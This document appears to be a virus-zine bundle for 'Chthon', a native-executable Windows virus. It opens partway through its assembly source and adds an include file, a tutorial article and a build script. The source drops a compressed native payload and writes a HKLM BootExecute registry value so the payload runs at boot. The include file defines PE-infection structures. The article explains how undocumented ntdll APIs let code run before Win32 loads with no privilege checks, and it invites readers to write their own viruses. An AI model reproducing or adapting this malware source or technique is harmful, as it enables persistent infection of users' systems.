;----------------------------------------------------------------------------- skip_slash label near movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] ;----------------------------------------------------------------------------- ;anti-anti-file dropper - remove read-only attribute, delete file, rename directory ;----------------------------------------------------------------------------- call dword ptr [ebx + execrcstk.eSetFileAttributesA] call dword ptr [ebx + execrcstk.eGetFileAttributesA] test al, FILE_ATTRIBUTE_DIRECTORY pop ecx pop eax je skip_move push eax push ecx call dword ptr [ebx + execrcstk.eMoveFileA] skip_move label near call dword ptr [ebx + execrcstk.eCreateFileA] push ebx xchg ebp, eax xchg edi, eax call dword ptr [ebx + execrcstk.eGetTickCount] xchg ebx, eax xor ecx, ecx ;----------------------------------------------------------------------------- ;decompress sys MZ header, PE header, section table, import table ;----------------------------------------------------------------------------- lods dword ptr [esi] copy_bytes label near movs byte ptr [edi], byte ptr [esi] test_bits label near add eax, eax jb copy_bytes add eax, eax sbb dl, dl and dl, bl shld ecx, eax, 4 rol ebx, cl shl eax, 4 xchg edx, eax rep stos byte ptr [edi] xchg edx, eax jne test_bits lods dword ptr [esi] test eax, eax jne test_bits mov cx, offset chthon_codeend - offset chthon_begin sub esi, offset drop_sys - offset chthon_begin rep movs byte ptr [edi], byte ptr [esi] xchg ecx, eax pop ebx pop edi pop ecx push ecx push edi push ecx mov edx, dword ptr [edi + mzhdr.mzlfanew] lea edx, dword ptr [edi + edx + pehdr.pechksum] inc ecx shr ecx, 1 clc exe_checksum label near adc ax, word ptr [edi] inc edi inc edi loop exe_checksum pop dword ptr [edx] adc dword ptr [edx], eax ;avoid common bug. ADC not ADD push ebp call dword ptr [ebx + execrcstk.eWriteFile] push ebp call dword ptr [ebx + execrcstk.eCloseHandle] call dword ptr [ebx + execrcstk.eGlobalFree] sub esi, offset chthon_codeend - offset regdll push esi call dword ptr [ebx + execrcstk.eLoadLibraryA] inc eax xchg edi, eax call find_mzhdr ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- regcrcbegin label near ;place < 80h bytes from call for smaller code dd (regcrc_count + 1) dup (0) regcrcend label near dd offset reg_file - offset regcrcend + 4 regkey db "system\currentcontrolset\control\session manager", 0 regval db "autocheck autochk *", 0, sysname, 0, 0 regnam db "bootexecute", 0 regdll db "advapi32", 0 reg_file label near mov ebx, esp push eax push esp sub edi, offset reg_file - offset regkey push edi push HKEY_LOCAL_MACHINE call dword ptr [ebx + regcrcstk.rRegOpenKeyA] pop eax push eax push offset regnam - offset regval add edi, offset regval - offset regkey push edi push REG_MULTI_SZ push 0 add edi, offset regnam - offset regval push edi push eax call dword ptr [ebx + regcrcstk.rRegSetValueExA] call dword ptr [ebx + regcrcstk.rRegCloseKey] add esp, size execrcstk + size regcrcstk popad ret 0ch chthon_dllcode endp chthon_tlscode endp chthon_codeend label near chthon_begin endp end dropper ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHTHON.ASM]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHTHON.INC]ÄÄÄ DLL_PROCESS_ATTACH equ 1 DLL_THREAD_ATTACH equ 2 MAX_PATH equ 260 FILE_DIRECTORY_FILE equ 00000001h FILE_SYNCHRONOUS_IO_NONALERT equ 00000020h FILE_OPEN_FOR_BACKUP_INTENT equ 00004000h FILE_SHARE_READ equ 00000001 FILE_SHARE_WRITE equ 00000002 FILE_READ_DATA equ 0001h FILE_LIST_DIRECTORY equ 0001h FILE_WRITE_DATA equ 0002h FILE_APPEND_DATA equ 0004h FILE_WRITE_ATTRIBUTES equ 0100h SYNCHRONIZE equ 00100000h FileBothDirectoryInformation equ 3 FileBasicInformation equ 4 FILE_ATTRIBUTE_DIRECTORY equ 00000010h FILE_ATTRIBUTE_ARCHIVE equ 00000020h IMAGE_FILE_MACHINE_I386 equ 14ch ;14d/14e do not exist. if you don't believe, then try it IMAGE_FILE_RELOCS_STRIPPED equ 0001h IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h IMAGE_FILE_32BIT_MACHINE equ 0100h IMAGE_FILE_SYSTEM equ 1000h IMAGE_FILE_DLL equ 2000h IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2 IMAGE_SUBSYSTEM_WINDOWS_CUI equ 3 RANDPADMIN equ 4096 RANDPADMAX equ 2048 ;RANDPADMIN is added to this PAGE_READWRITE equ 04 STANDARD_RIGHTS_REQUIRED equ 000F0000h SECTION_QUERY equ 0001 SECTION_MAP_WRITE equ 0002 SECTION_MAP_READ equ 0004 IMAGE_SCN_MEM_WRITE equ 80000000h CREATE_ALWAYS equ 2 GENERIC_WRITE equ 40000000h HKEY_LOCAL_MACHINE equ 80000002h KEY_SET_VALUE equ 2 REG_MULTI_SZ equ 7 align 1 ;byte-packed structures krncrcstk struct kRtlSetCurrentDirectory_U dd ? kRtlRandom dd ? kRtlFreeHeap dd ? kRtlDosPathNameToNtPathName_U dd ? kRtlAllocateHeap dd ? kNtUnmapViewOfSection dd ? kNtSetInformationFile dd ? kNtQueryDirectoryFile dd ? kNtOpenFile dd ? kNtMapViewOfSection dd ? kNtCreateSection dd ? kNtClose dd ? krncrcstk ends krncrc_count equ size krncrcstk shr 2 execrcstk struct eWriteFile dd ? eSetFileAttributesA dd ? eMoveFileA dd ? eLoadLibraryA dd ? eGlobalFree dd ? eGlobalAlloc dd ? eGetWindowsDirectoryA dd ? eGetTickCount dd ? eGetTempFileNameA dd ? eGetFileAttributesA dd ? eDeleteFileA dd ? eCreateFileA dd ? eCloseHandle dd ? execrcstk ends execrc_count equ size execrcstk shr 2 regcrcstk struct rRegSetValueExA dd ? rRegOpenKeyA dd ? rRegCloseKey dd ? regcrcstk ends regcrc_count equ size regcrcstk shr 2 tlsstruc struct tlsrawbeg dd ? tlsrawend dd ? tlsindex dd ? tlsfuncptr dd ? tlsfiller dd ? tlsflags dd ? tlsfunc dd 2 dup (?) tlsstruc ends initstk struct initret dd ? initDLLHandle dd ? initReason dd ? initReserved dd ? initstk ends UNICODE_STRING struct UniLength dw ? MaximumLength dw ? Buffer dd ? UNICODE_STRING ends UNICODE_STRINGDD struct UniString UNICODE_STRING ? RootDir dd ? UNICODE_STRINGDD ends LARGE_INTEGER struct dwordLow dd ? dwordHigh dd ? LARGE_INTEGER ends FILE_DIRECTORY_INFORMATION struct dirNextEntryOffset dd ? dirUnknown1 dd ? dirCreationTime LARGE_INTEGER ? dirLastAccessTime LARGE_INTEGER ? dirLastWriteTime LARGE_INTEGER ? dirChangeTime LARGE_INTEGER ? dirRealFileSize LARGE_INTEGER ? dirAllocatedSize LARGE_INTEGER ? dirFileAttributes dd ? dirFileNameLength dd ? dirUnknown2 dw 0fh dup (?) dirFileName dw MAX_PATH + 1 dup (?) FILE_DIRECTORY_INFORMATION ends findlist struct findprev dd ? findhand dd ? findname UNICODE_STRING ? findmask UNICODE_STRINGDD ? finddata FILE_DIRECTORY_INFORMATION ? findlist ends coffhdr struct pemachine dw ? ;04 pesectcount dw ? ;06 petimedate dd ? ;08 pesymbrva dd ? ;0C pesymbcount dd ? ;10 peopthdrsize dw ? ;14 peflags dw ? ;16 coffhdr ends pedir struct dirrva dd ? dirsize dd ? pedir ends pehdr struct pesig dd ? ;00 pecoff coffhdr pemagic dw ? ;18 pemajorlink db ? ;1A peminorlink db ? ;1B pecodesize dd ? ;1C peidatasize dd ? ;20 peudatasize dd ? ;24 peentrypoint dd ? ;28 pecodebase dd ? ;2C pedatabase dd ? ;30 peimagebase dd ? ;34 pesectalign dd ? ;38 pefilealign dd ? ;3C pemajoros dw ? ;40 peminoros dw ? ;42 pemajorimage dw ? ;44 peminorimage dw ? ;46 pemajorsubsys dw ? ;48 peminorsubsys dw ? ;4A pereserved dd ? ;4C peimagesize dd ? ;50 pehdrsize dd ? ;54 pechksum dd ? ;58 pesubsys dw ? ;5C pedllflags dw ? ;5E pestackmax dd ? ;60 pestacksize dd ? ;64 peheapmax dd ? ;68 peheapsize dd ? ;6C peldrflags dd ? ;70 pervacount dd ? ;74 peexport pedir ;78 peimport pedir ;80 persrc pedir ;88 peexcpt pedir ;90 pesecurity pedir ;98 pereloc pedir ;A0 pedebug pedir ;A8 pearch pedir ;B0 peglobal pedir ;B8 petls pedir ;C0 peconfig pedir ;C8 pebound pedir ;D0 peiat pedir ;D8 pedelay pedir ;E0 pecom pedir ;E8 persrv pedir ;F0 pehdr ends peexp struct expflags dd ? expdatetime dd ? expmajorver dw ? expminorver dw ? expdllrva dd ? expordbase dd ? expadrcount dd ? expnamecount dd ? expadrrva dd ? expnamerva dd ? expordrva dd ? peexp ends tib struct ExceptReg dd ? StackBase dd ? StackLimit dd ? SubSystem dd ? FiberData dd ? UserPointer dd ? TibSelf dd ? TibUnknown dd 5 dup (?) TibTeb dd ? tib ends teb struct tebUnknown dd 6 dup (?) heaphand dd ? teb ends OBJECT_ATTRIBUTES struct ObjLength dd ? RootDirectory dd ? ObjectName dd ? Attributes dd ? SecurityDescriptor dd ? SecurityQualityOfService dd ? OBJECT_ATTRIBUTES ends openstk struct openobj OBJECT_ATTRIBUTES openname UNICODE_STRING openedi dd ? openebx dd ? openstk ends FILE_BASIC_INFORMATION struct basCreationTime LARGE_INTEGER ? basLastAccessTime LARGE_INTEGER ? basLastWriteTime LARGE_INTEGER ? basChangeTime LARGE_INTEGER ? basFileAttributes dd ? basUnknown dd ? ;missing from docs? FILE_BASIC_INFORMATION ends mzhdr struct mzsig dw ? ;00 mzpagemod dw ? ;02 mzpagediv dw ? ;04 mzrelocs dw ? ;06 mzhdrsize dw ? ;08 mzminalloc dw ? ;0A mzmaxalloc dw ? ;0C mzss dw ? ;0E mzsp dw ? ;10 mzchksum dw ? ;12 mzip dw ? ;14 mzcs dw ? ;16 mzreloff dw ? ;18 mzfiller db 22h dup (?) ;1A mzlfanew dd ? ;3C mzhdr ends pesect struct sectname db 8 dup (?) sectvirtsize dd ? sectvirtaddr dd ? sectrawsize dd ? sectrawaddr dd ? sectreladdr dd ? sectlineaddr dd ? sectrelcount dw ? sectlinecount dw ? sectflags dd ? pesect ends mapsehstk struct mapsehprev dd ? mapsehexcpt dd ? mapsehregs dd 8 dup (?) mapsehsehret dd ? mapsehinfret dd ? mapsehstk ends infectstk struct infdelta dd ? infmapview dd ? inffilesize dd ? infseh mapsehstk infectstk ends align ;restore default alignment ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHTHON.INC]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[NATIVE.TXT]ÄÄÄ The Native API roy g biv / defjam -= defjam =- since 1992 bringing you the viruses of tomorrow today! Prologue: Please excuse my English. I'm still learning. About the author: Former DOS/Win16 virus writer, author of several virus families, including Ginger (see Coderz #1 zine for terrible buggy example, contact me for better sources ;), and Virus Bulletin 9/95 for a description of what they called Rainbow. Co-author of world's first virus using circular partition trick (Orsam, coded with Prototype in 1993). Designer of the world's first XMS swapping virus (John Galt, coded by RTFishel in 1995, only 30 bytes stub, the rest is swapped out). Author of world's first virus using Thread Local Storage for replication (Shrug). Author of various retrovirus articles (eg see Vlad #7 for the strings that make your code invisible to TBScan). Went to sleep for a number of years. This is my third virus for Win32. It is the world's first Native executable virus. It took me weeks to research it. I'm also available for joining a group. Just in case anyone is interested. ;) What are native applications? I found out about native applications on the Sysinternals site. (www.sysinternals.com/ntw2k/info/native.shtml) The guy describes there some things about how these files are executed and which APIs they can use. There are some bugs in his description, but mostly it is good enough. Native applications run in NT/2000/XP and they load before the Win32 subsystem loads (kernel32, user32, etc). They have full access to the file system and no privilege checks! Most of the APIs are undocumented, but if you debug the kernel32 APIs, you see that they call the native APIs (ntdll) and you can work out the important parameters. Some points now: Native applications can run from %Windows%, not just %System%. The heap handle is available via [fs:[0x30]+0x18]). No need to create heap. NtProcessTerminate() runs if application crashes (so crash to save bytes :) ). Native applications must terminate before Win32 subsystem can load, so it is important to not take too much time. There is no background execution here. How to build a native application? You'll need a copy of ntdll.lib to build a native application, but you can use the native API without being a native application - just use GetModuleHandle() to load ntdll then GetProcAddress(), but know that privilege checks apply to native APIs used by not-native applications. How to run a native application? Native applications use subsystem value of 1 and must have a valid checksum. They can be loaded using the registry by altering the data in HKLM\System\CurrentControlSet\Control\SessionManager\BootExecute This is a MULT_SZ type so it is an array of null-terminated strings, with extra null to end the list. When the entry point is executed, the stack contains no return value. Since I couldn't find anywhere that has the ntdll image base, probably you must search memory. I import a function from ntdll to know where to start looking. They cannot be executed directly (but you can use RtlCreateProcess() to execute for testing, however SoftIce won't break on hard-coded int 3, so be careful). How to use the native APIs? Here are the APIs from ntdll.dll that I have used. The ones marked 'x' are unknown to me, but the values are set by kernel32 and I had no need to change them. IO_STATUS_BLOCKs are altered just before the call returns, so if you do not care about the status, then point with esp and it will be discarded. DWORD NtClose /* kernel32 equivalent: CloseHandle */ ( HANDLE filehand /* IN */ ) DWORD NtCreateSection /* kernel32 equivalent: CreateFileMapping */ ( PHANDLE secthand /* OUT */ DWORD sectaccess /* IN */ x 0 /* IN */ PQWORD filesize /* IN */ DWORD pageaccess /* IN */ x 0x08000000 /* IN */ HANDLE filehandle /* IN */ ) DWORD NtMapViewOfSection /* kernel32 equivalent: MapViewOfFile */ ( HANDLE secthand /* IN */ x -1 /* IN */ PVOID mapview /* OUT */ x 0 /* IN */ x 0 /* IN */ PQWORD origin /* IN */ PQWORD mapsize /* IN */ x 1 /* IN */ x 0 /* IN */ DWORD pageaccess /* IN */ ) DWORD NtOpenFile /* kernel32 equivalent: none Similar to CreateFile when OPEN_EXISTING, but directories must also be opened with this function, in order to access the files inside */ ( PHANDLE filehand /* IN */ ACCESS_MASK access /* IN */ POBJECT_ATTRIBUTES objattr /* IN */ PIO_STATUS_BLOCK status /* OUT */ DWORD share /* IN */ DWORD flags /* IN */ ) DWORD NtQueryDirectoryFile /* kernel32 equivalent: FindFirstFile (restart: 1) FindNextFile (restart: 0) */ ( HANDLE filehand /* IN */ HANDLE event /* IN */ x 0 /* IN */ x 0 /* IN */ PIO_STATUS_BLOCK status /* OUT */ PVOID fileinfo /* OUT */ DWORD infosize /* IN */ FILE_INFORMATION_CLASS class /* IN */ BOOLEAN single /* IN */ PUNICODE_STRING filename /* IN */ BOOLEAN restart /* IN */ ) DWORD NtSetInformationFile /* kernel32 equivalent: none Combines SetFileAttibutes and SetFileTime (can set either or both in single call) */ ( HANDLE filehand /* IN */ PIO_STATUS_BLOCK status /* OUT */ PVOID fileinfo /* IN */ DWORD infosize /* IN */ FILE_INFORMATION_CLASS class /* IN */ ) DWORD NtUnmapViewOfSection /* kernel32 equivalent: UnmapViewOfFile */ ( x -1 /* IN */ PVOID mapview /* IN */ ) PVOID RtlAllocateHeap /* kernel32 equivalent: HeapAlloc */ ( HANDLE heaphand /* IN */ DWORD flags /* IN */ DWORD size /* IN */ ) BOOLEAN RtlDosPathNameToNtPathName_U /* kernel32 equivalent: none Similar to GetFullPathName */ ( PWSTR inpath /* IN */ PUNICODE_STRING devname /* OUT */ /* and .Buffer must be freed by caller */ PWSTR filename /* OUT */ PUNICODE_STRING outpath /* OUT */ ) BOOLEAN RtlFreeHeap /* kernel32 equivalent: HeapFree */ ( HANDLE heaphand /* IN */ DWORD flags /* IN */ PVOID buffer /* IN */ ) DWORD RtlRandom /* kernel32 equivalent: none GetTickCount can be used, but it's not really random */ ( PDWORD seed /* IN */ ) DWORD RtlSetCurrentDirectory_U /* kernel32 equivalent: SetCurrentDirectory */ ( PUNICODE_STRING subdir /* IN */ ) Epilogue: Now you want to look at my example code and then to make your own examples. There are many possibilities with this technique that make it very interesting. It is easy when you know how. Just use your imagination. Greets to the old Defjam crew: Prototype, RTFishel, Obleak, and The Gingerbread Man rgb/dj nov 2001 iam_rgb@hotmail.com ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[NATIVE.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ @echo off if %1.==. goto usage %tasm32%\bin\tasm32 /r /ml /m9 /os /p /q /w2 /zn %1 if errorlevel 1 goto end %tasm32%\bin\tlink32 /c /B:400000 /Tpe /aa /x /n %1.obj,,,%tasm32%\lib\import32.lib, del %1.obj goto end :usage echo. echo Usage: MAKE filename echo eg. MAKE CHTHON echo requires %tasm32% set to TASM directory (eg C:\TASM) :end echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ